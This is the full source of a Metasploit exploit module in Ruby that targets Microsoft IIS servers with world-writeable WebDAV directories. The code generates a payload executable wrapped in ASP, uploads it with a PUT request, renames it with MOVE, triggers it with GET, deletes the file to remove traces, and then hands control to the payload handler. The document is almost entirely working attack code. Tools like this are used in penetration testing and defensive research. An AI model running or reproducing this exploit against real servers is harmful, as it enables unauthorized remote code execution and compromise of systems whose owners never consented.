Microsoft IIS – WebDAV Write Access Code Execution (Metasploit)
## # $Id: iis_webdav_upload_asp.rb 10397 2010-09-20 15:59:46Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize super( 'Name' => 'Microsoft IIS WebDAV Write Access Code Execution', 'Description' => %q{ This module can be used to execute a payload on IIS servers that have world-writeable directories. The payload is uploaded as an ASP script using a WebDAV PUT request. }, 'Author' => 'hdm', 'Version' => '$Revision: 10397 $', 'Platform' => 'win', 'References' => [ ['OSVDB', '397'], ['BID', '12141'] ], 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 1994' ) register_options( [ OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp']) ], self.class) end def exploit # Generate the ASP containing the EXE containing the payload exe = generate_payload_exe asp = Msf::Util::EXE.to_exe_asp(exe) path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s) path_tmp = path.gsub(/\....$/, ".txt") # # UPLOAD # print_status("Uploading #{asp.length} bytes to #{path_tmp}...") res = send_request_cgi({ 'uri' => path_tmp, 'method' => 'PUT', 'ctype' => 'application/octet-stream', 'data' => asp, }, 20) if (! res) print_error("Upload failed on #{path_tmp} [No Response]") return end if (res.code < 200 or res.code >= 300) print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]") case res.code when 401 print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end return end # # MOVE # print_status("Moving #{path_tmp} to #{path}...") res = send_request_cgi({ 'uri' => path_tmp, 'method' => 'MOVE', 'headers' => {'Destination' => path} }, 20) if (! res) print_error("Move failed on #{path_tmp} [No Response]") return end if (res.code < 200 or res.code >= 300) print_error("Move failed on #{path_tmp} [#{res.code} #{res.message}]") case res.code when 401 print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") when 403 print_status("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.") end return end # # EXECUTE # print_status("Executing #{path}...") res = send_request_cgi({ 'uri' => path, 'method' => 'GET' }, 20) if (! res) print_error("Execution failed on #{path} [No Response]") return end if (res.code < 200 or res.code >= 300) print_error("Execution failed on #{path} [#{res.code} #{res.message}]") return end # # DELETE # print_status("Deleting #{path}, this doesn't always work...") res = send_request_cgi({ 'uri' => path, 'method' => 'DELETE' }, 20) if (! res) print_error("Deletion failed on #{path} [No Response]") return end if (res.code < 200 or res.code >= 300) print_error("Deletion failed on #{path} [#{res.code} #{res.message}]") return end handler end end |